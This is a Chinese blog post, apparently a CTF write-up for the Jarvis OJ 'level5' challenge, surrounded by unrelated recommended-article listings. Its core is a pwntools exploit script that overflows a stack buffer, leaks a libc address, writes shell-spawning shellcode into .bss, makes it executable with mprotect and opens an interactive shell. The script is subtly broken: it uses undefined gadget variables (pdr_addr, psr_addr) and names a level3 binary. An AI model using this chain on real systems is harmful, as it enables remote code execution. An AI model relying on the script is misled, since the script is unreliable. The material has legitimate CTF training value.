Ret2csu Jarvisoj level5_x64

【vLLM-性能洞察】基于Ascend Profiler的端到端推理瓶颈定位与优化实践 本文详细介绍了如何利用Ascend Profiler对vLLM-Ascend大模型推理服务进行端到端的性能瓶颈定位与优化。通过实战案例,阐述了从数据采集、可视化分析到诊断低效算子、内存管理、计算通信重叠及框架调度等常见瓶颈的全过程,为基于昇腾NPU的AI推理性能调优提供了系统性的方法论和实用工具指南。 阅读详情

本题有hint:system和execve函数被禁用,使用mmap和mprotect完成本题

浅谈mmap与mprotect

mmap

将文件映射到一段内存并且可以修改那段内存的权限

头文件 <sys/mman.h>
函数原型
void* mmap(void* start,size_t length,int prot,int flags,int fd,off_t offset);
int munmap(void* start,size_t length);

mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。

函数原型

#include <unistd.h>   
#include <sys/mmap.h>   
int mprotect(const void *start, size_t len, int prot);

prot 

映射区域的权限
PROT_EXEC 可执行
PROT_READ 可读取
PROT_WRITE 可写入
PROT_NONE 不能存取

x64下 _libc_csu_init函数,对libc进行初始化

用gadget控制任意函数调用

_libc_csu_init函数的通用gadgets

64位会首先将参数传到6个寄存器中

要对寄存器操作可以在栈中部署shellcode控制寄存器,但是NX保护开启,堆栈不可执行,不能直接写入shellcode,就需要利用gadget

gadget本质是一个程序或者libc中的汇编指令

大致攻击思路:利用mprotect()函数修改.bss段为可写入可执行,写入shellcode,get shell

1.checksec+运行

64位+NX保护

2.强大IDA进行中

1.main函数

2._vulnerable_function 

 buf  offset =0x80

具体步骤:

  1. 泄露libc基地址
  2. 将shellcode写入.bss段
  3. 调用read函数,将.bss段地址与mprotect函数写入got表
  4. 调用mprotect函数,修改.bss段权限
  5. 执行shellcode

 

直接上脚本 

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = remote('pwn2.jarvisoj.com',9884)
#p = process('./level3_x64')
level5 = ELF('level3x64')
libc = ELF('libc-2.19.so')

vulfun_addr = 0x4005E6
plt_write = level5.plt['write']
plt_read = level5.plt['read']
got_write = level5.got['write']
rdi_addr = 0x4006b3
rsi_addr = 0x4006b1

payload1 = 'a'*0x88 + p64(pdr_addr) + p64(1) + p64(psr_addr) + p64(got_write) + p64(0) + p64(plt_write) + p64(vulfun_addr)
p.recvuntil("Input:\n")
p.send(payload1)

pause()
write_addr = u64(p.recv(8))
libc_mprotect = libc.symbols['mprotect']
libc_write = libc.symbols['write']
mprotect_addr = write_addr - libc_write + libc_mprotect
pxr_addr = write_addr -libc_write + 0x1b8e
bss_addr = level5.bss()
payload2 = 'a'*0x88 + p64(pdr_addr) + p64(0) + p64(psr_addr) +p64(bss_addr) + p64(0) + p64(plt_read) + p64(vulfun_addr)
p.recvuntil("Input:\n")
p.send(payload2)
shellcode = asm(shellcraft.sh())
p.send(shellcode)

pause()
payload3 = 'a'*0x88 + p64(pdr_addr) + p64(0x600000) + p64(psr_addr) + p64(0x1000) + p64(0) + p64(pxr_addr) + p64(7) + p64(mprotect_addr) + p64(bss_addr)
p.recvuntil("Input:\n")
p.send(payload3)
p.interactive()

rwx的十进制表示为7,7作为第3个参数放在rdx,一般不存在有关rdx的gadget,借用_libc_csu_init函数的通用gadgets

更具体的内容参考以下博客

好好说话之ret2csu_hollk的博客-优快云博客

从PWM到精准电流:双光耦与LM317构建的4-20mA隔离输出方案 本文详细介绍了基于双光耦与LM317的4-20mA隔离输出方案,适用于工业自动化中的PWM信号转换。该方案通过电气隔离和精准电流调节,显著提升抗干扰能力和信号传输精度,同时降低成本60%。文章还分享了电路设计、参数计算及调试经验,为工程师提供实用参考。 阅读详情

相关推荐

NVIDIA GPU任务调度全景:从Block分配到Warp发射

GPU并行计算的核心是任务调度,而CUDA kernel在GPU上的执行并非简单的一次性操作,而是经过从CPU命令队列到硬件前端,再到GigaThread引擎和Warp Scheduler的多层协同。理解这一过程,是性能优化的基础。Warp作为硬件调度的基本单位,其状态切换与延迟隐藏能力直接决定计算单元的利用率;而Occupancy作为衡量SM上活跃Warp池大小的指标,也并非越高越好,需要结合访存模式与资源占用综合判断。对于多任务并发场景,Stream优先级、计算抢占、MIG硬件隔离与MPS软件共享等机制

weixin_32612263的博客 270

Ret2csu level5 & ciscn_2019_s_3

本题难点:对栈的理解需要稍微更深入一点。

红叶的博客 700

【LTspice】005 伯德图绘制

目录 1 伯德图介绍 2 LTspice 截止频率验证 3 LTspice中如何添加光标 4 LTspice中如何将 幅频 和 相频曲线分开 1 伯德图介绍 Bode图由对数幅频特性和对数相频特性两张图组成。伯德图_百度百科 (1)对数幅频特性曲线 对数幅频特性是频率特性的对数值L(ω)=20lgA (ω)(dB)与频率ω的关系曲线;对数幅频特性的纵轴采用线性分度,为幅值的分贝数,即 L(ω)=20lgA(ω),A(ω)每增加10倍,L(ω)增加20dB;横坐标采用对数分度,即横轴上的ω取

m0_59642765的博客 1万+

ret2csu wiki level5 可能遇到的一些问题

先说一下ret2csu的原理以及底层逻辑。注:前置知识栈溢出 ret2libc bss段可写权限的理解 execve与system的应用 一定的汇编语言的掌握 read、write函数即其参数的意义 对got与plt的理解。

2301_80974117的博客 1095

立创EDA开源足轮机器人:基于STM32F407与ESP32的LQR自平衡与FOC驱动设计全解析

本文详细解析了基于立创EDA平台的开源足轮机器人项目。该项目采用STM32F407作为主控,ESP32负责无线通信,并应用LQR自平衡算法与FOC驱动技术,实现了机器人的稳定站立、移动转向及复杂地形适应能力。文章深入剖析了其硬件架构、软件设计及调试经验,为机器人运动控制学习提供了宝贵参考。

weixin_42608299的博客 232

AudioTrack音频播放流程深度解析

深入解析Android AudioTrack音频播放的完整链路:从Java API到Native层,从共享内存Ring Buffer机制到FAST Track低延迟优化,配合源码分析带你彻底搞懂Android音频播放的底层原理

Cheson的专栏 940

wikiCTF-pwn-ret2csu

在 64 位程序中,函数的前 6 个参数是通过寄存器传递的,但是大多数时候,我们很难找到每一个寄存器对应的 gadgets。这时候,我们可以利用 x64 下的 __libc_csu_init 中的 gadgets。

Oops-re的博客 676

【TI毫米波雷达】IWR6843AOPEVM-G与DCA1000EVM实战:从硬件连接到数据流解析

本文详细解析了TI毫米波雷达开发套件IWR6843AOPEVM-G与DCA1000EVM的硬件连接、模式配置及数据流处理全流程。针对官方手册中的常见配置错误,提供了避坑指南和实测验证的正确设置方法,包括开关配置、网络参数等关键步骤。通过mmWave Studio软件配置雷达参数,并深入解析数据采集与处理流程,帮助开发者高效实现毫米波雷达应用开发。

weixin_30653023的博客 368

栈溢出漏洞学习与剖析

0x00 刚开始接触pwn,但是pwn呢!不应该只会做题,应该理解里面的原理,所以我们来看看程序里面究竟蕴含着什么神秘! 0x01 程序的执行就是一种线性的"纸",上面有许多内容。 就是一张"纸",在上面写了很多内容,Stack是栈,Heap是堆,这两个是最为关键的,因为接下来我们利用的就是有关这两个的漏洞。 程序在上面执行,code代码段(其实就是汇编指令)利用这里面的指令一步一步的运行。你可能有疑问?while和if和for等其实就是jmp等跳转指令,从一张"纸"的第一行开始"写",到了第三行(假设)有

菜鸡的博客 439

第二节_PySide6项目创建流程介绍、手把手教学打包EXE可执行文件

本文详细介绍了如何使用PySide6创建一个带UI界面的Python程序,并将其打包成exe可执行文件。首先,通过Pycharm创建项目,并使用PySide6-Designer工具设计UI界面,将生成的ui文件转换为Python代码。接着,编写主程序,加载UI界面并实现功能,如加载图片、设置图标等。最后,通过资源文件管理图片资源,并确保UI界面的更新能同步到主程序中。整个过程涵盖了项目创建、UI设计、代码编写及资源管理,适合初学者学习如何将Python程序打包为可执行文件。

su桥木的博客 2557

华为OD机试 - 魔法收积木 - 二进制(Java 新系统 200分)

华为OD机试 新系统 题库疯狂收录中,刷题。

学Java,找哪吒 442

好好说话之ret2csu

一、x64寄存器 在64位程序中,函数的前6各参数是通过寄存器传递的,可以看到rdi作为第一个参数,rsi作为第二个参数,rdx作为第三个参数,rcx作为第四个参数,r8作为第五个参数,r9作为第六个参数。也就是说在函数调用参数的时候会依次在六个寄存器中寻找,如果参数多余6个,那么就需要在栈中寻找。 63 31 ...

hollk’s blog 6813

《C/C++等级考试(1~8级)历届真题解析》专栏总目录

中国电子学会《全国青少年软件编程等级考试》C/C++编程(1~8级)历届真题解析。订阅后可阅读专栏内所有真题解析,真题持续更新中!

人生就是一个不断学习的过程 2万+

初探ROP

文章目录0x01 前言0x02 什么是ROP0x03 为什么要ROP0x04 基本ROPret2shellcode含义从原理中解析ret2shellcode从例子中解析ret2shellcode发现利用点确定利用前提调试扩展点ret2text含义从例子中解析ret2text发现利用点确定利用前提调试ret2syscall含义从例子中解析ret2syscall的方法细说系统调用在ret2syscal......

KKABqN 3838

计算机控制技术及应用

《计算机控制技术及应用》通过总结作者的科研成果和吸收国内外的先进理论、方法和技术,以计算机控制系统的网络化、开放化、智能化和集成化发展趋势为主线索,主要介绍计算机控制系统的基本概念和计算机控制系统的典型形式,计算机控制系统的数学描述与基本分析方法,以及数字PID控制器、最少拍控制系统、达林算法、状态变量设计法等设计方法及其各种改进算法。重点突出计算机控制系统输入输出通道接口的设计方法和典型控制系统的设计案例与实现方法等。

NTscan扫描工具

ntscan是一个扫描器,可以扫描没有密码和弱密码的共享,先到配置文件中填写猜测的用户名和密码,扫描过程中右侧出现的是扫描日志。

中级ROP之ret2csu

ret2csu 原理 在64位程序中,函数的前6个参数是通过寄存器传递的,但是大多数时候,我们很难找到每一个寄存器对应的gadgets。这时候,我们可以利用x64下的__libc_csu_init中的gadgets,如例二情况。 这个函数是用来对libc进行初始化操作的,而一般的程序都会调用libc函数,所以这个函数一定会存在。 下面是我在IDA摘出来的__libc_csu_init函数的汇编...

至臻求学,胸怀云月 8499

最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版

Part-E1-SDIO-Specification-Ver4.00-Final-120220.pdf:最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版,包括SDIO 接口的外设,SDIO 接口官方协议等。

从o开始的pwn学习之ret2csu

ret2csu 前置知识 X64寄存器 我们知道,64位寄存器有RAX,RBX,RCX,RDX,RDI,RSI,RBP,RSP,R8,R9,R10,R11,R12,R13,R14,R15,而rdi,rsi,rdx,rcx,r8,r9便用来传递函数的前六个参数,如多于六个,便在放到栈里。 __libc_csu_init 一般的程序都会调用libc中的函数,而此函数便是来将libc初始化的,故此函数几乎是每一个程序所必备的。 gadget 我们在构造ROP链的时候,往往会用到能够给寄存器赋值的gadget,形如

jzc020121的博客 3821

efm32 入门.pdf

本PDF共计22页,介绍的是操作驱动API,下载与否自己斟酌。

ISCTF PWN WP 2022

ISCTF PWN 部分题解 WP

GeekCmore的博客 1688

jarvis oj level5

level5要求不用system和execve,而是用mprotect和mmap,查了一下,mmap主要是将哪个文件映射到一段内存去同时设置那段内存的属性 可读可写或者是可执行,mprotect函数是将从addr开始的地址 ,长度位len的内存的访问权限。毫无头绪。查了网上大神的wp,才知道思路。 首先leak地址,shellcode写入bss没什么好说的。 要说下为什么要把bss和mprotec...

发蝴蝶和大脑斧的博客 1124

JarvisOJ level5

题目要求不用system和execve函数,练习使用mmap和mprotect函数。 首先看一下mmap函数和mprotect函数有什么用。 mmap()函数 mmap将一个文件或者其它对象映射进内存。文件被映射到多个页上,如果文件的大小不是所有页的大小之和,最后一个页不被使用的空间将会清零。mmap在用户空间映射调用系统中作用很大。 头文件 <sys/mman.h> 函数原型 voi...

PLpa的博客 506

jarvisoj_level5

jarvisoj_level5 buu上的这个题目对应的是level3 x64。jarvisoj_level3 x64

z1r0的博客 478

从BUUCTF之“jarvisoj_level5”中看如何暗度陈仓实现“mprotect”修改.bss段为可执行

mprotect修改权限实践

Probeginner的博客 836

(Jarvis Oj)(Pwn) level5

(Jarvis Oj)(Pwn) level5 题目描述:mmap和mprotect练习,假设system和execve函数被禁用,请尝试使用mmap和mprotect完成本题。附件和level3_x64的附件一样。 首先去看看这个mmap函数和mprotect函数是干啥的。 void* mmap(void* addr, size_t len, int port, int flag, int...

Nothing 2198

Linux中mprotect()函数的用法

mprotect()函数修改在内存映像上的保护模式。 函数原型: #include    #include    int mprotect(const void *start, size_t len, int prot); mprotect把自start开始的内存区的保护模式修改为prot指定的值,如果执行成功返回0,如果执行失败,mprotect返回-1,并且设置errno变量。

Roland_Sun的专栏 5万+

多线程内存问题分析之mprotect方法

http://www.yebangyu.org/blog/2016/02/01/detectmemoryghostinmultithread/ 多线程中的内存问题,一直被认为是噩梦般的存在,几乎只有高手、大仙才能解决。除了大量的打log、gdb调试、code review以及依靠多年的经验和直觉之外,有没有一些分析的手段和工具呢?答案是肯定的。本文首先介绍其中的一种:mprote

2449

[XMAN]level5 Jarvis OJ

思路:bss段刚开始是不可执行的,从通用的想要执行bss必须执行mprotect函数来更改bss段的权限(改为7即可读可写可执行)。但是想要获取到mprotect函数必须获取到libc版本。还是少不了上次的泄露libc函数,这里泄露的时候也直接用通用gedit减少不必要的操作,减少错误。 泄露获取libc–&amp;gt;获取到mprotect函数来改写bss段的权限–&amp;gt;把shellcode写入到...

九层台 1234

18.9.25 Jarvis OJ PWN----[XMAN]level5

题目提示: 参考链接:https://veritas501.space/2017/03/10/JarvisOJ_WP/                   https://blog.youkuaiyun.com/github_36788573/article/details/80178146 mmap和mprotect练习,假设system和execve函数被禁用,请尝试使用mmap和mprotect完...

qq_42192672的博客 724
上一篇: BUUCTF ciscn_2019_c_1(64位ret2libc3)
下一篇: BUUCTF PWN warmup_csaw_2016
Rt1Text
博客等级 码龄5年 14粉丝 53原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值